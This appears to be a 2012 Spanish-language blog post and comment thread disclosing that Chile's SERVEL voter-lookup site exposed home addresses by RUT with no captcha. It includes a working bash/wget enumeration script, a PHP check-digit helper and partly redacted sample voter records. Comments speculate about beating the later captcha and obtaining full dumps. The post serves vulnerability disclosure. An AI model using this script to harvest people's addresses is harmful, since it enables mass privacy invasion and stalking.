Sitio web del Servicio Electoral (SERVEL) expone tus datos

Luego de que se propusieran la idea de inscribir automaticamente a todos los chilenos, el SERVEL tuvo la brillante idea de poner la base de datos de todos los inscritos disponible para cualquier persona en su sitio web.

Con solo ingresar el RUT o el nombre de una persona, es posible obtener su domicilio, por ejemplo:

El formulario no cuenta con un captcha para validar que sea una persona quien consulta los datos y tampoco tiene las validaciones necesarias para proteger request desde sitios remotos y asi poder evitar que un “bot” se dedique a hacer un dump de la base de datos.

Como el sistema de consultas es vulnerable a CSRF, con un pequeño script podemos obtener información de personas, por ejemplo:

15000XXX-7
LECAROS XXXXX ELENA XXXX
PILCO XX XXXXXX DPTO 106
————
15000002-5
XXXXXX NIETO XXXXXXXX ANDRES
SITIO XXXXXX EL SAUCE XXXXXXX
————
15000XXX-3
ROJAS XXXXXX PAMELA XXXXXXX
PJ LOS XXXXX XX
————
15000XXX-1
BELLO XXXXX SUSANA XXXXXX
DIEGO XXXXX XXXXX POBL. SAN JOSE
————
15000XXX-K
GONZALEZ XXX PATRICIA XXXX
ANIBAL PINTO XXXX PBL.M.ORIENTE
————

En esta prueba de concepto lo unico que hice fue un script que cuente de 15.000.000 a 15.000.010, obtenga el digito verificador de cada RUT y consulte con cURL o wget al sitio del SERVEL. Un bot podria ser programado para que recorra todos los rut y obtenga información sobre las personas.

Comando:
for seq in $(seq 15000000 15000010); do rut=$(php dv.php $seq); echo $rut; wget -O – -o /dev/null “https://www.servel.cl/consulta/consulta2012.aspx?ScriptManager1=updpnl1|btnconsultarnombre&__ASYNCPOST=true&__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=%2FwEWBALt74KnBwKIgMLoCQLA%2BNmoBgL066iRCh5kzc0O6krAcPyF8iP14ICzZPVMch4cFobzrB8c5UMe&__VIEWSTATE=%2FwEPDwUKLTUxOTc5MjYxMg9kFgICAw9kFgICAQ9kFgJmD2QWAgITD2QWAgIDDzwrABEBARAWABYAFgBkGAEFDWdyZGR1cGxpY2Fkb3MPZ2QHQ9n6Ug6DvemNcSslF9aItsqRASRwxwtjME5L46rPQQ%3D%3D&btnconsultarnombre=Consultar&hdfl=&txtnombre=$rut”|grep ‘lbldomicilio\|lblnombre’|awk -F ‘>’ ‘{print $2}’|sed ‘s/< \/span//g'; echo "------------"; done

Script php (dv.php)

< ?php
 function dv($rut)
        {
                $x = 2;
                $calc = 0;
                $rut = str_replace(".", "", $rut);
                for($i = strlen($rut)-1; $i >= 0; $i--)
                {
                        $digit = $rut[$i];
                        if($x == 8) $x = 2;
                        $calc += $digit*$x;
                        $x++;
                }
                $rest = $calc%11;
                $dv = 11 - $rest;
                if($dv == 10) $dv = "K";
                if($dv == 11) $dv = 0;
                return $dv;
        }


print $argv[1]."-".dv($argv[1]);
?>

Actualizado

SERVEL finalmente puso un Captcha para evitar a los bots.

15 comentarios

  1. Estimado Zerial, espero que en servel.cl tomen en consideración esta vulnerabilidad descubierta y parchen lo necesario para corregirlo.

  2. Simplemente, esa información no debería ser pública!

  3. Zerial, pero esto no es solo de ahora, lleva varios años con lo mismo, yo recuerdo que para las últimas elecciones ya estaba así. Que mal que de parte de ellos, no busquen nada de seguridad de los datos de los votantes.

    Ahora ya no estas avisando? ahaaha

    saludos

  4. Hola Hugo,

    Como tu dices, esto lleva bastantes años con lo mismo, la ultima vez lo parchearon con un captcha, es deicr, si tienen conocimiento, pero cayeron en el mismo error.

    El problema es que ahora afecta a muchas personas mas, con esto de la inscripcion automatica

  5. j03h tiene toda la razón !
    Ahora que la inscripción es automática, aparte de ser mas gente, es sin consentimiento =N

  6. Otro Chileno mas

    abril 26, 2012 a las 4:26 pm

    Pero pusieron un CAPCHA de 3 digitos que si te pones “quisquilloso” y generas un script que inyecte transacciones a tiempo regulares (cada 2 segundos) es posible inferir el next CAPCHA, ya que aparentemente este es generado en funcion del tiempo (hora,minuto,segundo, centesima,milesima).

  7. Puta yo queria un dump u.u fucking captcha

  8. Definitivamente no debería ser publica. Pero por ley lo es. Tu con 200 pesos compras esa base de datos (200 pesos te cobran solo por el medio, el cd). Es bien tonto hacer un script cuando mejor pagas derechamente los 200 pesos. 🙂

  9. ¿Alguien alcanzó a hacer un dump?
    Para un proyecto en una fundación estamos interesados en parte de esta información (ningún dato sensible, solo el campo de locación).

    O si alguien sabe si por la ley de transparencia se puede acceder a la misma, o en último caso cuál es su costo. Gracias de antemano.

  10. jp. Como dije anteriormente, el costo es 200 pesos.

  11. 200 pesos, pero donde¿ 😀

  12. ojala servel.cl toma las medidas correspodniente
    de metigacion, buen material Zerial
    slds

  13. ESA BD nos pertenece a todos, alguien la descargo?
    compartanla para que su precio baje a $0

    estan lucrando con nuestra información

  14. En realidad ahora estan todos por PDF http://www.servel.cl/controls/neochannels/neo_ch2/neochn2.aspx?appinstanceid=320&pubid=980
    puedes descargarlas juntarlas en un solo PDF y extraer los datos con eso creas tu propia base de datos, el PDF completo pesa al rededor de 1.5 GB

  15. El captcha es completamente inutil, los bots igual pueden sacar la informacion

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Esto sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.